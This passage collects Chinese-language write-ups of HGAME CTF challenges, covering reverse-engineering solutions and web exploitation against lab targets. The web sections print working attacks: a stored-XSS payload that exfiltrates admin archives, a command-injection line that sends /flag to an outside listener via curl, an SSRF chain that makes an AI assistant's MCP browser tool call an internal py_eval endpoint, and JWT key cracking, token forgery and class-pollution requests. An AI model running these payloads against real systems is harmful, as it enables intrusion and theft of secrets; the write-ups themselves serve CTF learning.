    # 3. XOR aesEncryptedKey
    # 4. rotateDecrypt(..., rotationOffset=20)
    # 5. substitutionDecrypt
    ...
    return plaintext_str

for i6 in range(65536):
    key = lcg_key(i6)
    s = full_decrypt(E, key)
    if s.startswith('flag{') and s.endswith('}') and len(s) == 26:
        print(s)
        break

运行结果:

flag{BECAUSE_I_AM_CRAAAZY}

游戏实际显示时会把 flag 替换为 hgame

Flag

hgame{BECAUSE_I_AM_CRAAAZY}

看不懂的华容道

看不懂的华容道 Writeup

题目信息

题目分析

1. 文件分析

题目提供了两个文件:

2. VM 逆向分析

通过 IDA 等工具反编译可见,这是一个自定义指令集的虚拟机,主要指令包括(节选):

3. 华容道棋盘分析

从 VM 字节码中解析棋盘布局和棋子定义,可以还原初始状态:

用每个棋子左上角的位置(在 4×5 棋盘上的格子索引,0–19)表示状态,初始状态为:

(1, 0, 3, 11, 10, 8, 12, 16, 13, 19)
4. 哈希计算逻辑

CALC_HASH 指令的实现流程(根据宿主程序逆向)大致为:

  1. 读取当前棋盘数据:20 字节,每个格子一个字节,值为棋子 ID,空格为 255。
  2. 将这 20 字节与固定 salt 字符串拼接:"HuarongDao2026_Salt"
  3. 对 board || salt 整体计算 MD5,得到 16 字节哈希。
  4. 把 MD5 结果前 8 字节视为 low,后 8 字节视为 high,以 little-endian 解析为两个 64 位整数。
  5. PRINT_HASH 时输出的是 high low 的十六进制表示(无前导 0)。

解题步骤

1. 确定胜利条件

华容道的标准胜利条件:

因此,搜索目标状态为“棋子 0 的位置等于 13”的任意合法局面。

2. BFS 搜索最短路径

对状态空间进行 BFS,从初始状态出发,合法移动包括:

核心思路(伪代码):

from collections import deque

def solve():
    init = (1, 0, 3, 11, 10, 8, 12, 16, 13, 19)
    q = deque([init])
    dist = {init: 0}
    prev = {}

    while q:
        state = q.popleft()
        if state[0] == 13:   # 棋子0(曹操)位置为13
            print("steps =", dist[state])
            print("final_state =", state)
            break
        for nxt in gen_moves(state):
            if nxt not in dist:
                dist[nxt] = dist[state] + 1
                prev[nxt] = state
                q.append(nxt)

实际跑出的结果:

(13, 1, 3, 0, 2, 8, 12, 11, 16, 10)
3. 计算终局棋盘的哈希值

根据 VM 逻辑,用最终状态构造 4×5 棋盘的 20 字节数组,然后与 salt 拼接后计算 MD5:

import hashlib

def build_board(state):
    # 根据10个棋子的左上角位置与尺寸,构造长度为20的格子数组
    # 这里省略具体实现,只说明最终 board 为20字节
    ...
    return board  # type: bytes

final_state = (13, 1, 3, 0, 2, 8, 12, 11, 16, 10)
board = build_board(final_state)
salt = b"HuarongDao2026_Salt"
h = hashlib.md5(board + salt).digest()

low = int.from_bytes(h[:8], 'little')     # 0x52875b87bb317ffa
high = int.from_bytes(h[8:16], 'little')  # 0x0c4a8ae149d34f85
4. 由哈希得到节点值与 flag

按照程序中 PRINT_HASH 的格式:

high =  0x0c4a8ae149d34f85  -> "c4a8ae149d34f85"
low  =  0x52875b87bb317ffa  -> "52875b87bb317ffa"

节点值(题目提示“最短路径下的终点对应的节点值”)即两者拼接:

c4a8ae149d34f8552875b87bb317ffa

flag 采用标准格式 hgame{...} 包裹该节点值。

Flag

hgame{c4a8ae149d34f8552875b87bb317ffa}

Signal Storm

Signal Storm Writeup

题目分析

程序读取 32 字节输入后,通过多种信号处理器(SIGSEGV / SIGTRAP / SIGFPE)对内部状态和输入缓冲区进行多轮变换,最后与内置常量比较是否相等。

整体逻辑高度类似 RC4 的 KSA / PRGA,只是把步骤拆散进不同的信号处理函数里,并通过故意制造异常 + setjmp/longjmp 机制驱动执行。

解题步骤

1)主流程梳理

反编译 main 可以看到:

因此只要在本地还原这些信号处理逻辑,就能从目标常量反推出原始输入(flag)。

2)信号处理器行为(RC4 变体)

静态分析三个 handler:

辅助函数 fcn.00001780

最终比较的是“多轮信号变换后”的输入缓冲区与 4 个常量拼接得到的 32 字节数组是否一致。

3)本地脚本还原变换并复原输入

将逻辑整理成标准 RC4 变种流程后,可以直接用 Python 脚本从目标常量逆推出原始输入。

关键点:

关键脚本

key = b"C0lm_be4ore_7he_st0rm"

# RC4 KSA 初始化 S 盒
S = list(range(256))
j = 0
for i in range(256):
    j = (j + S[i] + key[i % len(key)]) % 256
    S[i], S[j] = S[j], S[i]

# 常量目标(小端)
consts = [
    0x8260c1c9c8d936e3,
    0x1c4bb2d52511d975,
    0xf11caf1c716de64d,
    0x1a5af67f261ca506,
]
target = b"".join(c.to_bytes(8, "little") for c in consts)

i = j = 0
key = bytearray(key)
flag = bytearray()

for n in range(32):
    # SIGSEGV: KSA step
    i = (i + 1) % 256
    j = (j + S[i] + key[i % len(key)]) % 256
    S[i], S[j] = S[j], S[i]

    # SIGTRAP: key rotate left
    key = key[1:] + key[:1]

    # SIGFPE: keystream & XOR
    k = S[(S[i] + S[j]) % 256]
    flag.append(target[n] ^ k)

print(flag.decode())

运行输出:

hgame{Null_c0lm_wi7hout_0_storm}

Flag

hgame{Null_c0lm_wi7hout_0_storm}

NonceSense

NonceSense Writeup

题目分析

附件包含 Client.exeGateDriver.sys 和 Drv_blob.bin。整体流程:

关键发现

1)IOCTL 协议

在 Client.exe 里可以看到两个 IOCTL:

2)驱动加密流程(GateDriver.sys)

对 GateDriver.sys 静态分析可得:

其中 base 是驱动中的 32 字节常量,ROR8 是 8-bit rotate-right。

3)客户端字节变换(Client.exe)

客户端在发送数据前对每个字节执行一段迷你“指令表”:

解题步骤

1)还原驱动加密并解出明文

核心逻辑代码如下:

import hmac, hashlib
from Crypto.Cipher import AES

def ror8(x, r):
    r &= 7
    return ((x >> r) | ((x << (8 - r)) & 0xff)) & 0xff

base = bytes([
    0xbf,0xe7,0x43,0xba,0xe2,0xbf,0xab,0x52,
    0x91,0xe6,0x4b,0xa4,0x20,0x0e,0x2e,0xd3,
    0x91,0x79,0xfb,0xa4,0xc1,0x0a,0x20,0x00,
    0xf9,0xef,0x02,0x9f,0xee,0x02,0x96,0x45
])

# 计算 v39
v39 = bytes(
    ror8(b ^ 0x5c, (1 - 3*i) & 7) ^ 0xA7
    for i, b in enumerate(base)
)

with open("Drv_blob.bin", "rb") as f:
    blob = f.read()

nonce = blob[:16]
ct = blob[16:]

# K1 = HMAC-SHA256(00..00, nonce)
k1 = hmac.new(b"\x00" * 32, nonce, hashlib.sha256).digest()

# K2 = HMAC-SHA256(K1, v39 || 0x01)
k2 = hmac.new(k1, v39 + b"\x01", hashlib.sha256).digest()

aes_key = k2[:16]

cipher = AES.new(aes_key, AES.MODE_ECB)
pt_padded = cipher.decrypt(ct)

# 去掉 PKCS#7 padding
pad = pt_padded[-1]
pt = pt_padded[:-pad]

pt 即为“客户端变换后的字节序列”。接下来要逆向回去得到用户真实输入。

2)逆向客户端字节变换,恢复 flag

运行脚本后得到的明文即为 flag 字符串:

hgame{n0w_y9u_2_a_n0nces3nser_9f3a1c0e7b2d4a8c1e3f5a7b}

Flag

hgame{n0w_y9u_2_a_n0nces3nser_9f3a1c0e7b2d4a8c1e3f5a7b}

Web

魔理沙的魔法目录

魔理沙的魔法目录 Writeup

题目分析

访问靶机发现是 MkDocs 静态站点,首页提示“阅读 1 小时以上会有奖励”。页面引入 javascripts/tracker.js,推测有前端计时与后端接口。

解题步骤
  1. 访问根路径确认站点是静态页面。
  2. 查看 tracker.js 中可见字符串,定位接口 /login/record/check
  3. 直接与接口交互,通过错误回显确定参数格式。
关键命令
# 登录获取 token
curl -i -X POST http://cloud-middle.hgame.vidar.club:32239/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"player_test"}'

# 上报阅读时长(单位秒)
curl -i -X POST http://cloud-middle.hgame.vidar.club:32239/record \
  -H 'Content-Type: application/json' \
  -H 'Authorization: <token>' \
  -d '{"time":3600}'

# 检查并获取 flag
curl -i http://cloud-middle.hgame.vidar.club:32239/check \
  -H 'Authorization: <token>'
Flag
hgame{yoU-@Re_Al5O-A-M@HOu_tSUkAi_Nowl676d6}

博丽神社的绘马挂

博丽神社的绘马挂 Writeup

题目分析

页面为留言板,前端用 innerHTML 直接渲染 content,存在存储型 XSS。/api/report 可触发管理员访问页面;管理员(灵梦)拥有归档内容的访问权限。题目描述提示“紫在归档完毕的绘马里藏了秘密”,因此目标是读取管理员归档。

解题步骤
  1. 任意账号登录(新用户无需校验密码),发布含 XSS 的留言。
  2. XSS 在管理员访问时执行:读取 /api/archives,并把结果 Base64 后通过 /api/messages 发回站内消息(避免外网回连限制)。
  3. 调用 /api/report 触发管理员访问。
  4. 轮询 /api/messages,获取管理员发回的 ARCHIVE: 内容并 Base64 解码,得到 flag。
关键 Payload
<img src=x onerror="fetch('/api/archives').then(r=>r.text()).then(t=>{fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({content:'ARCHIVE:'+btoa(unescape(encodeURIComponent(t))),is_private:false})})})">
关键命令示例
# 登录
curl -c cookie.txt -X POST http://cloud-middle.hgame.vidar.club:30477/api/auth/login \
  -H 'Content-Type: application/json' -d '{"username":"alice","password":"alice"}'

# 发送 XSS
curl -b cookie.txt -X POST http://cloud-middle.hgame.vidar.club:30477/api/messages \
  -H 'Content-Type: application/json' -d '{"content":"<payload>","is_private":false}'

# 触发管理员
curl -b cookie.txt -X POST http://cloud-middle.hgame.vidar.club:30477/api/report

# 获取消息并解码
curl -b cookie.txt http://cloud-middle.hgame.vidar.club:30477/api/messages
Flag

Hgame{tH3_S3CRET-0F-HAKUrel-j1nJ42b3069d8}

MyMonitor

MyMonitor Writeup

题目分析

附件源码显示 Web 提供注册/登录、用户命令与管理员命令接口:

关键漏洞:

解题步骤
  1. 注册用户拿到普通 JWT:curl -X POST http://cloud-middle.hgame.vidar.club:32538/api/account/register \ -H 'Content-Type: application/json' \ --data '{"username":"testuser","password":"testpass"}'
  2. 准备公网监听(示例):python3 -m http.server 9999
  3. 发送“缺少 cmd 的 JSON”污染对象池:curl -X POST http://cloud-middle.hgame.vidar.club:32538/api/user/cmd \ -H 'Content-Type: application/json' \ -H 'Authorization: <user_jwt>' \ --data '{"args":";curl -G --data-urlencode \"flag=$(cat /flag)\" http://<listener>/"}' 多次发送以提高命中概率。
  4. 等待管理员周期性 ls,服务器会回连监听并携带 flag。
关键 Payload
{"args":";curl -G --data-urlencode \"flag=$(cat /flag)\" http://<listener>/"}
Flag
hgame{remEm63r-to_cIEar_TH3-BUFFER-beFORe-yoU-WAnt-To-use!!!0}

My Little Assistant

My Little Assistant Writeup

题目分析

这是一道Web题,涉及MCP(Model Context Protocol)服务器和AI助手。题目描述暗示了Prompt Injection攻击:”它到底是在理解你的需求,还是在服从看到的一切?”

源码分析

附件中的mcp_server.py提供了两个工具:

  1. py_eval – 执行Python代码
  2. py_request – 使用Playwright浏览器访问URL

关键代码:

def check_url(url: str) -> bool:
    if (url.startswith("http") == False): return True
    return False

URL检查只验证是否以”http”开头,允许访问任意HTTP/HTTPS URL。

漏洞发现
  1. 直接调用py_eval被前端禁用(返回”py_eval被管理员禁用了”)
  2. py_request可以正常使用,且Playwright浏览器会执行JavaScript
  3. 内部MCP服务器运行在127.0.0.1:8001,可以通过SSRF访问
攻击思路

利用SSRF+XSS攻击链:

  1. 创建恶意HTML页面,包含JavaScript代码
  2. JavaScript发送POST请求到内部MCP服务器
  3. 绕过前端禁用,直接调用py_eval读取flag
解题步骤
1. 构造恶意HTML页面
<body>
<div id="r">loading</div>
</body>
<script>
fetch("http://127.0.0.1:8001/mcp",{
  method:"POST",
  headers:{"Content-Type":"application/json"},
  body:JSON.stringify({
    jsonrpc:"2.0",
    id:1,
    params:{
      name:"py_eval",
      arguments:{code:"result=open(\"/flag\").read()"}
    }
  })
}).then(r=>r.text()).then(d=>{
  document.getElementById("r").innerText=d
})
</script>
2. 使用httpbin托管恶意页面

将HTML内容Base64编码,通过httpbin.org/base64/端点托管:

HTML='<body><div id="r">loading</div></body><script>fetch("http://127.0.0.1:8001/mcp",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,params:{name:"py_eval",arguments:{code:"result=open(\"/flag\").read()"}}})}).then(r=>r.text()).then(d=>{document.getElementById("r").innerText=d})</script>'
B64=$(echo -n "$HTML" | base64 -w0)
3. 发送攻击请求
curl -X POST "http://target/execute_tool" \
  -H "Content-Type: application/json" \
  -d '{"name": "py_request", "arguments": {"url": "http://httpbin.org/base64/BASE64_ENCODED_HTML"}}'
4. 获取Flag

Playwright浏览器访问恶意页面,执行JavaScript,发送POST请求到内部MCP服务器,成功读取flag。

关键技术点
  1. SSRF绕过:利用Playwright浏览器访问内部服务
  2. XSS执行:httpbin返回的Content-Type为text/html,浏览器会执行JavaScript
  3. 异步等待:Playwright的wait_until="networkidle"确保异步请求完成后才返回页面内容
  4. MCP协议:构造正确的JSON-RPC请求格式调用py_eval
Flag
hgame{almcp-DRlV3n_XS5-4tt4ck-cH@1n16d08f1}

Vidarshop

Vidarshop Writeup

题目分析

这是一道Web题,涉及一个商店应用。题目描述提到:

目标是购买价格为1,000,000的flag。

解题步骤
1. 信息收集

访问目标网站,发现是Flask/Werkzeug应用。分析前端JavaScript代码,发现:

2. JWT弱密钥爆破

注册用户后获取JWT token,尝试爆破JWT密钥:

import jwt

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImN0ZnRlc3Q5OTkiLCJyb2xlIjoidXNlciIsImV4cCI6MTc3MDExNTU1N30.0BuZ3HppiYQxzRBYP3gxN6JgBuxuUkXkl2EgHssuwME"

weak_keys = ["secret", "password", "123456", "admin", "111", "000", "aaa"]

for key in weak_keys:
    try:
        decoded = jwt.decode(token, key, algorithms=["HS256"])
        print(f"Found key: {key}")
        break
    except:
        pass

成功找到JWT密钥为111

3. 分析UID生成规则

通过注册多个用户,分析UID生成规则:

发现规律:每个字母转换为其在字母表中的位置(a=1, b=2, …, z=26),数字保持不变。

因此admin的UID为:1413914(a=1, d=4, m=13, i=9, n=14)

4. 伪造Admin Token

使用找到的密钥伪造admin token:

import jwt

admin_payload = {"username": "admin", "role": "admin", "exp": 1870115557}
admin_token = jwt.encode(admin_payload, "111", algorithm="HS256")
5. 利用Python原型污染漏洞

尝试各种参数更新余额都失败后,发现Python原型污染漏洞:

curl -X POST http://target/api/update \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "uid: 1413914" \
  -d '{"__init__": {"__globals__": {"balance": 2000000}}}'

成功将admin余额修改为2000000。

6. 购买Flag
curl -X POST http://target/api/buy \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "uid: 1413914" \
  -d '{"item": "flag"}'
Flag

hgame{rEAIaDM1n_MustB3R1CH169811b9c}

退出移动版